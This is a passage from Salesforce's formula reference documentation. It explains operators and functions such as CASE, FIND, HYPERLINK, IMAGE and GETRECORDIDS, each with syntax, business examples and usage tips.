Converts a percent, number, date, date/time, or currency type field into text anywhere formulas
are used. Also, converts picklist values to text in validation rules, formula fields, and field updates.

TRIM

Removes the spaces and tabs from the beginning and end of a text string.

UPPER

Converts all letters in the specified text string to uppercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.

VALUE

Converts a text string to a number.

Summary Functions
The following functions are available with summary, matrix, and joined reports.
Function

Description

PARENTGROUPVAL This function returns the value of a specified parent grouping. A parent grouping is any level
above the one containing the formula. You can only use this function in custom summary formulas
for reports.
PREVGROUPVAL

This function returns the value of a specified previous grouping. A previous grouping is one
that comes before the current grouping in the report. Choose the grouping level and increment.
The increment is the number of columns or rows before the current summary. The default is 1;
the maximum is 12. You can only use this function in custom summary formulas for reports.

Advanced Functions
Function

Description

GETRECORDIDS

Returns an array of strings in the form of record IDs for the selected records in a list, such as a
list view or related list.

INCLUDE

Returns content from an s-control snippet. Use this function to reuse common code in many
s-controls.

LINKTO

Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control or
Salesforce page.

1206

Customize

Operators and Functions

Function

Description

REGEX

Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise,
it returns FALSE. A regular expression is a string used to describe a format of a string according
to certain syntax rules.

REQUIRESCRIPT

Returns a script tag with source for a URL you specify. Use this function when referencing the
Force.com AJAX Toolkit or other JavaScript toolkits.

URLFOR

Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource
archive in a Visualforce page.

VLOOKUP

Returns a value by looking up a related value on a custom object similar to the VLOOKUP()
Excel function.

Encoding Functions
Function

Description

HTMLENCODE

Encodes text and merge field values for use in HTML by replacing characters that are reserved
in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;.

JSENCODE

Encodes text and merge field values for use in JavaScript by inserting escape characters, such as
a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').

JSINHTMLENCODE

Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape
characters before unsafe JavaScript characters and replacing characters that are reserved in HTML
with HTML entity equivalents.

URLENCODE

Encodes text and merge field values for use in URLs by replacing characters that are illegal in
URLs, such as blank spaces, with the code that represent those characters as defined in RFC
3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced
with %20, and exclamation points are replaced with %21.

+ (Add)
Description:

Calculates the sum of two values.

Use:

value1 + value2 and replace each value with merge fields, expressions, or other numeric

values.
Formula Field Example:

Amount + Maint_Amount__c + Services_Amount__c

This formula calculates the sum of the product Amount, maintenance amount, and services
fees. Note that Maint amount and Service Fees are custom currency fields.
Report Example:

EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM calculates all Email Opt Out fields plus


all Do Not Call fields on the leads in your report. This formula is a number data type that

returns a positive integer.


Validation Rule Example:

You may have a custom object that allows users to track the total number of hours worked
in a week. Use the following example to ensure that users cannot save a time card record with
more than 40 hours in a work week.
Monday_Hours__c +
Tuesday_Hours__c +

1207

Customize

Operators and Functions

Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Use a formula like this one in a validation rule to display the following error message when
the total number of hours entered for each work day is greater than 40: Your total hours
cannot exceed 40. This example requires five custom fields on your custom object, one for
each day of work.

- (Subtract)
Description:

Calculates the difference of two values.

Use:

value1 - value2 and replace each value with merge fields, expressions, or other numeric

values.
Example:

Amount - Discount_Amount__c

This formula calculates the difference of the product Amount less the Discount Amount.
Note that Discount Amount is a custom currency field.
Report Example:

AMOUNT:SUM - Product.Discount_Amount__c:SUM calculates the difference of all


Amount fields and all Discounted Amount custom fields on the products in your report.

This formula is a currency data type that returns a currency sign and decimal places.

* (Multiply)
Description:

Multiplies its values.

Use:

value1 * value2 and replace each value with merge fields, expressions, or other numeric

values.
Example:

Consulting_Days__c * 1200

This formula calculates the number of consulting days times 1200 given that this formula
field is a currency data type and consulting charges a rate of $1200 per day. Note that
Consulting Days is a custom field.
Report Example:

RowCount * AGE:AVG calculates the record count times the average age value of your

report. This formula is a number data type that returns a positive or negative integer or
decimal.

/ (Divide)
Description:

Divides its values.

Use:

value1 / value2 and replace each value with merge fields, expressions, or other numeric

values.

1208

Customize

Example:

Operators and Functions

AnnualRevenue/ NumberOfEmployees

This formula calculates the revenue amount per employee using a currency field.
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

This formula calculates the win rate of opportunities on a campaign.


Report Example:

% Won Opportunities
WON:SUM / RowCount calculates the percent of Won opportunities using a record count

representing the number of all opportunities in your report. This formula is a number data
type that returns a positive or negative integer.
% Difference between Cost and Sales Price
(TOTAL_PRICE:SUM - QUANTITY:SUM * Product2.Cost__c:SUM) /
(QUANTITY:SUM * Product2.Cost__c:SUM) calculates the average percent difference

between what a product costs and its selling price on a product-by-product level. Note that
Product2.Cost__c:SUM is a custom currency field named Cost on products, which
includes the cost of each product. This formula is a percent data type that returns a positive
or negative integer. For best results, use this on a summary Opportunities with Products
report that is summarized by Product Name and includes summary totals for Quantity,
Total Price, and Cost.

^ (Exponentiation)
Description:

Raises a number to a power of a specified number.

Use:

number^integer and replace number with a merge field, expression, or another numeric
value; replace integer with a merge field that contains an integer, expression, or any integer.

Example:

NumberOfEmployees^4 calculates the number of employees to the 4th power.

Report Example:

ACTIVE:SUM ^ 2 calculates the number of active Salesforce users to the 2nd power for

administration. This formula is a number data type that returns a positive integer.
Tips:

Avoid replacing integer with a negative number.

() (Open Parenthesis and Close Parenthesis)


Description:

Specifies that the expressions within the open parenthesis and close parenthesis are evaluated
first. All other expressions are evaluated using standard operator precedence.

Use:

(expression1) expression2... and replace each expression with merge fields,

expressions, or other numeric values.


Example:

(Unit_Value__c - Old_Value__c) / New_Value__c calculates the difference

between the old value and new valuedivided by the new value.
Report Example:

(DURATIONHOURS:SUM * RowCount) / 24 calculates the duration of all event times

the record count per 24 hours. This formula is a percent data type that returns a positive or
negative integer or decimal, representing what percent of a day is spent on events.

1209

Customize

Operators and Functions

= and == (Equal)
Description:

Evaluates if two values are equivalent.

Use:

expression1=expression2 or expression1 == expression2, and replace each


expression with merge fields, expressions, or other numeric values.

Example:

Due Date
Due Date = CreatedDate + 5 assigns a due date that is five days past the create date.

Commission Amount
IF(Probability =1, ROUND(Amount*0.02, 2), 0)

This formula calculates the 2% commission amount of an opportunity that has a probability
of 100%. All other opportunities will have a commission value of 0.
Possible results:
An opportunity with a Probability of 90% will have a commission of 0.
An opportunity with a Probability of 100% and an Amount of $100,000 will have a
commission of $2,000.

<> and != (Not Equal)


Description:

Evaluates if two values are not equivalent.

Use:

expression1 <> expression2 or expression1 != expression2, and replace each


expression with merge fields, expressions, or other numeric values.

Example:
IF(Maint_Amount__c + Services_Amount__c<> Amount,
"DISCOUNTED", "FULL PRICE")

This formula displays DISCOUNTED on product if its maintenance amount and services
amount do not equal the product amount. Otherwise, displays FULL PRICE. Note that
this example uses two custom currency fields for Maint Amount and Services Amount.

< (Less Than)


Description:

Evaluates if a value is less than the value that follows this symbol.

Use:

value1 < value2 and replace each value with merge fields, expressions, or other numeric

values.
Example:

IF(AnnualRevenue < 1000000, 1, 2) assigns the value 1 with revenues less than

one million and the value 2 to revenues greater than one million.

> (Greater Than)


Description:

Evaluates if a value is greater than the value that follows this symbol.

1210

Customize

Use:

Operators and Functions

value1 > value2 and replace each value with merge fields, expressions, or other numeric

values.
Example:

IF(commission__c > 1000000, "High Net Worth", "General") assigns the

High Net Worth value to a commission greater than one million. Note, this is a text formula
field that uses a commission custom field.

<= (Less Than or Equal)


Description:

Evaluates if a value is less than or equal to the value that follows this symbol.

Use:

value1 <= value2 and replace each value with merge fields, expressions, or other numeric

values.
Example:

IF(AnnualRevenue <= 1000000, 1, 2) assigns the value 1 with revenues less than

or equal to one million and the value 2 with revenues greater than one million.

>= (Greater Than or Equal)


Description:

Evaluates if a value is greater than or equal to the value that follows this symbol.

Use:

value1 >= value2 and replace each value with merge fields, expressions, or other numeric

values.
Example:

IF(Commission__c >= 1000000, "YES", "NO") assigns the YES value with a

commission greater than or equal to one million. Note, this is a text formula field that uses
a custom currency field called Commission.

&& (AND)
Description:

Evaluates if two values or expressions are both true. Use this operator as an alternative to the
logical function AND.

Use:

(logical1) && (logical2) and replace logical1 and logical2 with the values or

expressions that you want evaluated.


Example:

IF((Price<100 && Quantity<5),"Small", null)

This formula displays Small if the price is less than 100 and quantity is less than five.
Otherwise, this field is blank.

|| (OR)
Description:

Evaluates if at least one of multiple values or expressions is true. Use this operator as an
alternative to the logical function OR.

Use:

(logical1) || (logical2) and replace any number of logical references with the values

or expressions you want evaluated.

1211

Customize

Example:

Operators and Functions

IF((ISPICKVAL(Priority, "High")) || (ISPICKVAL(Status , "New")),


ROUND(NOW()-CreatedDate, 0), null)

This formula returns the number of days a case has been open if the Status is new or the
Priority is high. If the case was opened today, this field displays a zero.
Validation Rule Example:
(Discount_Rate__c < 0) || (Discount_Rate__c > 0.40)

This validation rule formula displays the following error message when the Discount Rate
custom field is not between 0 and 40%: "Discount Rate cannot exceed 40%."

& (Concatenate)
Description:

Connects two or more strings.

Use:

string1&string2 and replace each string with merge fields, expressions, or other values.

Example:

"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

This formula displays the text Expense- followed by trip name and the expense number.
This is a text formula field that uses an expense number custom field.

ABS
Description:

Calculates the absolute value of a number. The absolute value of a number is the number
without its positive or negative sign.

Use:

ABS(number) and replace number with a merge field, expression, or other numeric value

that has the sign you want removed.


Example:

ABS(ExpectedRevenue) calculates the positive value of the Expected Revenue amount

regardless of whether it is positive or negative.

AND
Description:

Returns a TRUE response if all values are true; returns a FALSE response if one or more
values are false. Use this function as an alternative to the operator && (AND).

Use:

AND(logical1,logical2,...) and replace logical1,logical2,... with the values

that you want evaluated.


Formula Field Example:

IF(AND(Price<1,Quantity<1),"Small", null)

This formula displays Small if the price and quantity are less than one. This field is blank
if the asset has a price or quantity greater than one.

BEGINS
Description:

Determines if text begins with specific characters and returns TRUE if it does. Returns
FALSE if it does not.

1212

Customize

Use:

Operators and Functions

BEGINS(text, compare_text) and replace text, compare_text with the characters

or fields you want to compare.


Example:

IF(BEGINS (Product_type__c, "ICU"), "Medical", "Technical")

This example returns the text Medical if the text in any Product Type custom text field
begins with ICU. For all other products, it displays Technical.
Tips:

This function is case sensitive so be sure your compare_text value has the correct
capitalization.
When using this function in a validation rule or workflow rule, fields that are blank are
considered valid. For example, if you have a validation rule that tests to see if the serial
number of an asset begins with 3, all assets that have a blank serial number are considered
valid.

BLANKVALUE
Description:

Determines if an expression has a value and returns a substitute expression if it does not. If
the expression has a value, returns the value of the expression.

Use:

BLANKVALUE(expression, substitute_expression) and replace expression with


the expression you want evaluated; replace substitute_expression with the value you

want to replace any blank values.


Example:

Example 1
BLANKVALUE(Department, Undesignated)

This formula returns the value of the Department field if the Department field contains
a value. If the Department field is empty, this formula returns the word Undesignated.
Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

This formula returns the date five days after the contract start date whenever Payment Due
Date is blank. Payment Due Date is a custom date field.
Tips:

Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE has


the same functionality as NULLVALUE, but also supports text fields. Salesforce will
continue to support NULLVALUE, so you do not need to change existing formulas.
A field is not empty if it contains a character, blank space, or zero. For example, a field
that contains a space inserted with the spacebar is not empty.
Use the BLANKVALUE function to return a specified string if the field does not have
a value; use the ISBLANK function if you only want to check if the field has a value.
If you use this function with a numeric field, the function only returns the specified string
if the field does not have a value and is not configured to treat blank fields as zeroes.

BR
Description:

Inserts a line break in a string of text.

Use:

BR()

1213

Customize

Operators and Functions

Example:
CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
ShippingCity & BR() &
ShippingCountry, "etc")

This formula field displays a formatted mailing address for a contact in standard format,
including spaces and line breaks where appropriate depending on the country.
Tips:

Do not remove the parentheses after the function name.


Keep the parentheses empty. They do not need to contain a value.
Remember to surround the BR() with concatenation operators: &.
Avoid using this function in mail merge templates.
This function is not available in custom buttons and links, s-controls, or reports.

CASE
Description:

Checks a given expression against a series of values. If the expression is equal to a value,
returns the corresponding result. If it is not equal to any values, it returns the else_result.

Use:

CASE(expression,value1, result1, value2, result2,..., else_result)


and replace expression with the field or value you want compared to each specified value.

Replace each value and result with the value that must be equivalent to return the result entry.
Replace else_result with the value you want returned when the expression does not equal
any values.
Formula Field Example:

Days Open for Cases


Use this example of a custom formula field called Days Open to display different text
depending on the number of days a case has been open:
CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")

The following text is displayed:

Reassign for any case open three days.


Assign Task for any case open two days.
Maintain for all other cases.

Last Activity Month


This formula field displays the month of the last activity or None if there are no activities.
CASE(MONTH(LastActivityDate),
1, "January",
2, "February",

1214

Customize

Operators and Functions

3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")

Default Value Example:

Discount Rate
Use the following default value formula to insert a different discount rate on an opportunity
based on the department of the person creating the opportunity:
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a
user in the IT department or 15% on any opportunity created by someone in the Field
department. A zero is applied if the creator does not belong to either of these departments.
This is a custom percent field on opportunities that uses the standard user field Department.
Product Language
You may want to associate a product with its language so that your users know the type of
documentation or adapter to include. Use the following default value formula to automatically
set the language of a product based on the country of the user creating the product. In this
example, the default value is Japanese if the user's country is Japan and English if the
user's country is US. If neither is true, the default value unknown is inserted into the
Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

Tips:

Be sure your value1, value2... expressions are the same data type.
Be sure your result1, result2... expressions are the same data type.
CASE functions cannot contain functions that return true or false. Instead, make true
or false expressions return numbers such as:
CASE(1, IF(ISPICKVAL (Term__c, "12"), 1, 0),
12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0),
24 * Monthly_Commit__c, 0)

In this formula, Term is a picklist field that is multiplied by the Monthly Commit
whenever it contains the value 1 for true.

The else_result value is required.


CASE functions return an error whenever any of the expressions return an error, regardless
of which one should be returned. For example, CASE(Field__c,"Partner", "P",
"Customer", "C", LEFT(Field__c, -5)) returns an error even if the value of
the field is Partner or Customer because the last statement is illogical.
If the field in your CASE function is blank, it returns your else_result value. For
example, this formula: CASE(Days_Open__c, 3, "Reassign", 2, "Assign

1215

Customize

Operators and Functions

Task", "Maintain") displays Maintain if the Days Open field is blank, 0, or any

value other than 2 or 3.


Use CASE functions to determine if a picklist value is equal to a particular value. For
example the formula CASE(Term__c, "12", 12 * Monthly_Commit__c, "24",
24 * Monthly_Commit__c, 0) multiplies the Monthly Commit amount by 12
whenever the Term is 12 or multiplies the Monthly Commit amount by 24 whenever
the Term is 24. Otherwise, the result is zero.

CASESAFEID
Description:

Converts a 15-character ID to a case-insensitive 18-character ID.

Use:

CASESAFEID(id) and replace id with the objects ID.

Example:
CASESAFEID (Id)

This formula replaces the 15-character ID with the 18-character, case-insensitive ID.
Tips:

Convert to 18-character IDs for better compatibility with Excel.


The CASESAFEID function is available everywhere that you can define a formula except
reports and s-controls.

CEILING
Description:

Rounds a number up to the nearest integer.

Use:

CEILING(number) and replace number with the field or expression you want rounded.

Example:

Rounding Up (literal value)


CEILING(2.5)

This formula returns 3, which is 2.5 rounded up to the nearest number.


Earthquake Magnitude
CEILING(Magnitude__c) returns the value of a formula number field that calculates the

magnitude of an earthquake up to the nearest integer.

CONTAINS
Description:

Compares two arguments of text and returns TRUE if the first argument contains the second
argument. If not, returns FALSE.

Use:

CONTAINS(text, compare_text) and replace text with the text that contains the value
of compare_text.

1216

Customize

Operators and Functions

Example:
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

This formula checks the content of a custom text field named Product_Type and returns
Parts for any product with the word part in it. Otherwise, it returns Service. Note that
the values are case sensitive, so if a Product_Type field contains the text Part or PART,
this formula returns Services.
Tips:

This function is case sensitive so be sure your compare_text value has the correct
capitalization.
When using this function in a validation rule or workflow rule, fields that are blank are
considered valid. For example, if you have a validation rule that tests to see if the serial
number of an asset contains A, all assets that have a blank serial number are considered
valid.
The CONTAINS function does not support multi-select picklists. Use INCLUDES to
see if a multi-select picklist has a specific value.

DATE
Description:

Returns a date value from year, month, and day values you enter. Salesforce displays an error
on the detail page if the value of the DATE function in a formula field is an invalid date,
such as February 29 in a non-leap year.

Use:

DATE(year,month,day) and replace year with a four-digit year, month with a two-digit
month, and day with a two-digit day.

Example:

DATE(2005, 01, 02) creates a date field of January 2, 2005.

DATEVALUE
Description:

Returns a date value for a date/time or text expression.

Use:

DATEVALUE(expression) and replace expression with a date/time or text value, merge

field, or expression.
Example:

Closed Date
DATEVALUE(ClosedDate) displays a date field based on the value of the Date/Time
Closed field.

Literal Date Value


DATEVALUE("2005-11-15") returns November 15, 2005 as a date value.

Tips:

If the field referenced in the function is not a valid text or date/time field, the formula
field displays #ERROR!
When entering a date as a literal value, surround the date with quotes and use the following
format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day.
If the expression does not match valid date ranges, such as the MM is not between
01 and 12, the formula field displays #ERROR!
Dates and times are always calculated using the users time zone.

1217

Customize

Operators and Functions

DATETIMEVALUE
Description:

Returns a year, month, day and GMT time value.

Use:

DATETIMEVALUE(expression) and replace expression with a date/time or text value,

merge field, or expression.


Example:

Closed Date
DATETIMEVALUE(ClosedDate) displays a date field based on the value of the Date/Time
Closed field.

Literal Date Value


DATETIMEVALUE("2005-11-15 17:00:00") returns November 15, 2005 5:00 PM

GMT as a date and time value .


Tips:

DATETIMEVALUE is always calculated using GMT time zone and can't be changed.
When entering a date as a literal value, surround the date with quotes and use the following
format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day.
If the expression does not match valid date ranges, such as the MM is not between
01 and 12, the formula field displays #ERROR!

DAY
Description:

Returns a day of the month in the form of a number between 1 and 31.

Use:

DAY(date) and replace date with a date field or value such as TODAY().

Example:

DAY(Code_Freeze__c) returns the day in your custom code freeze date. Note this does

not work on date/time fields.

EXP
Description:

Returns a value for e raised to the power of a number you specify.

Use:

EXP(number) and replace number with a number field or value such as 5.

Example:

Exponent of a Literal Value


EXP(3)

This formula returns the value of e to the third power.


Compound Interest
Principal__c * EXP(Rate__c * Years__c)

This formula calculates the compound interest based on a custom currency field for principal,
custom percent field for rate, and custom number field for years.

FIND
Description:

Returns the position of a string within a string of text represented as a number.

1218

Customize

Use:

Operators and Functions

FIND(search_text, text[, start_num]) and replace search_text with the string


you want to find, replace text with the field or expression you want to search, and replace
start_num with the number of the character from which to start searching from left to

right.
Example:

Street Address
FIND(" ", Street) returns the character position of the first space in the Street field.

You can use this number to find out the length of the street address as a means of separating
a street address from street name in an address field.
Deriving Website Addresses
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the

location of the @ sign in a person's email address to determine the length of text to replace
with a www. as a means of deriving their website address.
Tips:

Be sure to remove the brackets, [ and ], from your formula before validating it.
If the field referenced in your text parameter is blank, the formula field displays 0.
Your search_text parameter is case sensitive and cannot contain any wildcard characters.
If your search does not return any results, a 0 displays in the field.
The start_num parameter is optional. If you do not enter a start_num value, the
formula uses the value one, or the first character in the string.
If your start_num is not greater than zero, a 0 displays in the field.
If your start_num is greater than the length of the text, a 0 displays in the field.
When entering your start_num parameter, remember that some fields like the Website
field are unique because a http:// is automatically appended to the beginning of the text
you enter.
Note that the first character in a string is designated as one rather than zero.

FLOOR
Description:

Returns a number rounded down to the nearest integer.

Use:

FLOOR(number) and replace number with a number field or value such as 5.245.

Example:

Commission Amounts
FLOOR(commission__c) rounds commission down to the nearest integer.

Contact's Age
FLOOR((TODAY()-Birthdate)/365.2425)

Use this formula to calculate a persons age based on a standard field called Birthdate. The
persons Birthdate is subtracted from todays date, which returns the number of days since
the persons Birthdate. This number is divided by the number of days in a year and rounded
down to the nearest integer.

GETRECORDIDS
Description:

Returns an array of strings in the form of record IDs for the selected records in a list, such
as a list view or related list.

1219

Customize

Use:

Operators and Functions

{!GETRECORDIDS(object_type)} and replace object_type with a reference to the

custom or standard object for the records you want to retrieve.


Custom Button Example:
{!REQUIRESCRIPT
("/soap/ajax/13.0/connection.js")}
var records = {!GETRECORDIDS($ObjectType.Sample)};
var newRecords = [];
if (records[0] == null)
{
alert("Please select at least one row")
}
else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}
result = sforce.connection.update(newRecords);
window.location.reload();
}

In this example, all selected case records are updated with a Status of New. To set this
up in your organization, create a custom list button for cases with the following attributes:

Display Type is List Button


Behavior is Execute JavaScript
Content Source is OnClick JavaScript

Paste the sample code above into the content of your custom button. Finally, add the list
button to the a page layout that contains the Cases related list, such as accounts or
opportunities. Users can select any number of cases in the related list and click the list button
to change the status of those cases at once. Notice the check for records[0] == null,
which displays a message to users when they do not select at least one record in the list.
Tips:

Use global variables to access special merge fields for s-controls, custom buttons, and
links.
Activities are special types of objects. Use {!GETRECORDIDS($ObjectType.Task)}
when creating a task list button. Use {!GETRECORDIDS($ObjectType.Event)} when
creating an event list button.
This function is only available in custom buttons, links, and s-controls.

GETSESSIONID
Description:

Returns the users session ID.

Use:

GETSESSIONID()

1220

Customize

Operators and Functions

Example:
HYPERLINK
("https://www.myintegration.com?sId="&
GETSESSIONID() & "?&rowID="&Name & "action=CreateTask","Create
a Meeting Request")

creates a link to an application outside of Salesforce, passing the parameters so that it can
connect to Salesforce via the API and create the necessary event.

HTMLENCODE
Description:

Encodes text and merge field values for use in HTML by replacing characters that are reserved
in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;.

Use:

{!HTMLENCODE(text)} and replace text with the merge field or text string that contains

the reserved characters.


Example:

If the merge field foo__c contains <B>Enter the user's name<b>,


{!HTMLENCODE(foo__c)} results in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

Tips:

This function is only available in custom buttons and links.

HYPERLINK
Description:

Creates a link to a URL specified that is linkable from the text specified.

Use:

HYPERLINK(url, friendly_name [,target]) and replace url with the Web address,
replace friendly_name with the link text, and, optionally, replace target with the window

or frame in which to display the content.


Example:

Creating Events
HYPERLINK("00U/e?
retURL=%2F006x0000001T8Om&what_id="
& Id,
"Create Event")

adds a link called Create Event that, when clicked, creates a new event that is associated
with the current object.
Phone Dialer
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone,
Phone)creates a linkable phone number field that automatically dials the phone number
when clicked. In this example, replace "servername" and "call" with the name of your
dialing tool and the command it uses to dial. The merge field, Id, inserts the identifier for
the contact, lead, or account record. The first Phone merge field tells the dialing tool what
number to call and the last Phone merge field uses the value of the Phone field as the linkable

text the user clicks to dial.


Tips:

Hyperlink formula fields are of type text.


Include the protocol and URL in quotes as in HYPERLINK("http://www.cnet.com",
"cnet").

1221

Customize

Operators and Functions

Avoid using text functions such as LEN, LEFT, or RIGHT on HYPERLINK function
results.
When linking to Salesforce pages, use a relative link, such as 00U/e?retURL=%..., for
hyperlink formulas unless you want to add the formula field to a search layout. Use the
complete URL, including the server name and https://, in a hyperlink formula to add it
to a search layout. Note that formula fields are not available in search result layouts.
Use the $Api variable to reference API URLs.
Be sure to remove the brackets, [ and ], from your formula before validating it.
The target parameter is optional. If you do not specify a target, the link opens in a
new browser window. Some common target parameters are:
_blank
Displays link in a new unnamed window.
_self
Displays link in the same frame or window as the element that refers to it.
_parent
Displays link in the immediate frameset parent of the current frame. This value is
the same as _self if the current frame has no parent.
_top
Displays link in the full original window, canceling any other frames. This value is
the same as _self if the current frame has no parent.

For more information on basic HTML tags, consult an HTML reference on the Internet.
The HYPERLINK function is available everywhere that you can define a formula except
default values, field updates, s-controls, validation rules, approval processes, custom
buttons and links, and workflow rules.

IF
Description:

Determines if expressions are true or false. Returns a given value if true and another value if
false.

Use:

IF(logical_test, value_if_true, value_if_false) and replace logical_test


with the expression you want evaluated; replace value_if_true with the value you want
returned if the expression is true; replace value_if_false with the value you want returned

if the expression is false.


Formula Field Example:

Overdue Payments
IF(AND(Payment_Due_Date__c < TODAY(),Payment_Status__c ="UNPAID")
, "PAYMENT OVERDUE", null)

This formula determines if the payment due date is past and the payment status is UNPAID.
If so, returns the text PAYMENT OVERDUE and if not, leaves the field blank. This
example uses a custom date field called Payment Due Date and a text custom field called
Payment Status.
Insert Tax Rate

1222

Customize

Operators and Functions

Use this default value formula to set the tax rate of an asset based on the user's city. Create
a custom percent field with the following default value:
IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

Custom Button Example:


{!
IF(Sample.BillingCountry = "US",
"http://maps.google.com/maps?q="&Sample.BillingStreet&
"+"&Sample.BillingCity&"+"&Sample.BillingState&"+
"&Sample.BillingCountry,
(IF(Sample.BillingCountry = "UK",
"http://maps.google.co.uk/maps?q="&Sample.BillingStreet
&"+"&Sample.BillingCity&"+"&Sample.BillingCountry,
"http://maps.google.com")))
}

This example uses the IF function to determine if an address is in the United States or United
Kingdom so that it can use the appropriate type of Google map to display the address.
Tips:

Make sure your value_if_true and value_if_false expressions are the same data
type.
When using an IF function with the $Profile.UserType variable to determine the type
of Salesforce user license the logged in user has, use the following values:

Standard for Salesforce


PowerPartner for PRM User
CustomerSuccess for Customer Portal User
PowerCustomerSuccess for Customer Portal Manager

For example, use the following formulas to determine if the logged in user has the license
type in quotes:
IF(ISPICKVAL($Profile.UserType ,"Standard"), 100, 0.1)
IF(ISPICKVAL($Profile.UserType ,"PowerPartner"), 100, 0.1)
IF(ISPICKVAL($Profile.UserType ,"CustomerSuccess"), 100, 0.1)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

1223

Customize

Operators and Functions

IMAGE
Description:

Inserts an image with alternate text and height/width specifications.

Use:

IMAGE(image_url, alternate_text, height, width) and replace image_url


with the full path to the image; replace alternate_text with the string of text you want

to appear when the image cant be rendered for some reason, and which can be used by screen
reader software; replace height with the vertical size of the image in pixels; replace width
with the horizontal size of the image in pixels.
Example:

HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,


IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c &
"&m;=g&t;=0", "Yahoo"))

This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged
on to the service. Users can click the icon to launch a Yahoo! Messenger conversation with
the person. This example uses a custom text field called Yahoo Name on contacts where you
can store the contact's Yahoo! Messenger ID.
Tips:

The height and width parameters are optional.


Use a text string to replace the image_url and alternate_text parameters. Surround
each text string in quotes.
Use numbers to replace the height and width parameters.
Add images to your Documents tab if you want to display them elsewhere. For example,
store the image of a product in a document folder, copy the URL to the document, and
paste that URL in the image_url parameter of a formula field on the Products tab.
If you use Internet Explorer, you may need to change your security settings so that it does
not display a warning prompt when images use HTTP protocol. See the online help for
Internet Explorer for instructions on changing your security settings.
The IMAGE function cannot include the GETSESSIONID function as one of its
arguments.
The IMAGE function is available only in formula fields and email templates.

INCLUDE
Description:

Returns content from an s-control snippet. Use this function to reuse common code in many
s-controls.

Use:

{!INCLUDE(source, [inputs])} and replace source with the s-control snippet you
want to reference. Replace inputs with any information you need to pass to the snippet.

S-Control Example:

Including Header Snippet


<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

This example references a snippet that provides a header for a page that you created to display
in a Web tab. It displays the page title My Title. Use the $SControl global variable to
reference a custom s-control.

1224

Customize

Operators and Functions

Including Input Parameters


Use the following two examples to see how you can create a reusable snippet and include it
in an s-control.
<h2 class={!$Request.titleTheme}.title>{!$Request.titleText}</h2>

This snippet requires two input parameters: titleTheme and titleText. It is a reusable
HTML tag that presents a page title and theme based on input parameters. Next, create an
s-control that includes this snippet:
<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My Sample Title"]) }
... Insert your page specific content here ...
</body>
</html>

This s-control uses the snippet titled Title_Snippet to display the title of the page My
Sample Title and modern theme. Replace Insert your page specific content
here with your own HTML content and use the s-control as the source of a Web tab to
create your own pages in Salesforce.
Tips:

Because this function references an s-control snippet and does not copy it, it always runs
the latest content of the s-control snippet. Remember when making a change to your
s-control snippet that it affects all INCLUDE functions that refer to it.
Use the $Request global variable to access any information inside the snippet.
This function is only available in custom buttons, links, and s-controls.

INCLUDES
Description:

Determines if any value selected in a multi-select picklist field equals a text literal you specify.

Use:

INCLUDES(multiselect_picklist_field, text_literal) and replace


multiselect_picklist_field with the merge field name for the multi-select picklist;
and replace text_literal with the multi-select picklist value you want to match in quotes.

Examples:

INCLUDES(Hobbies__c, "Golf") returns TRUE if one of the selected values in the


Hobbies custom multi-select picklist field is Golf.

Tips:

The text_literal expression must be of type text and enclosed in quotes. It cannot
be a merge field or the result of a function.
Salesforce returns an error if any of the following occurs:
You do not provide a text_literal expression.
You provide an empty text_literal expression, such as "" or " ".

Use ISNULL to determine if a multi-select picklist field is empty.

1225

Customize

Operators and Functions

Use the PRIORVALUE function inside the INCLUDES function to check if the previous
value of a multi-select picklist field included a specific value. For example:
INCLUDES(
PRIORVALUE(multiselect_picklist_field),
text_literal
)

ISBLANK
Description:

Determines if an expression has a value and returns TRUE if it does not. If it contains a
value, this function returns FALSE.

Use:

ISBLANK(expression) and replace expression with the expression you want evaluated.

Example:
(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
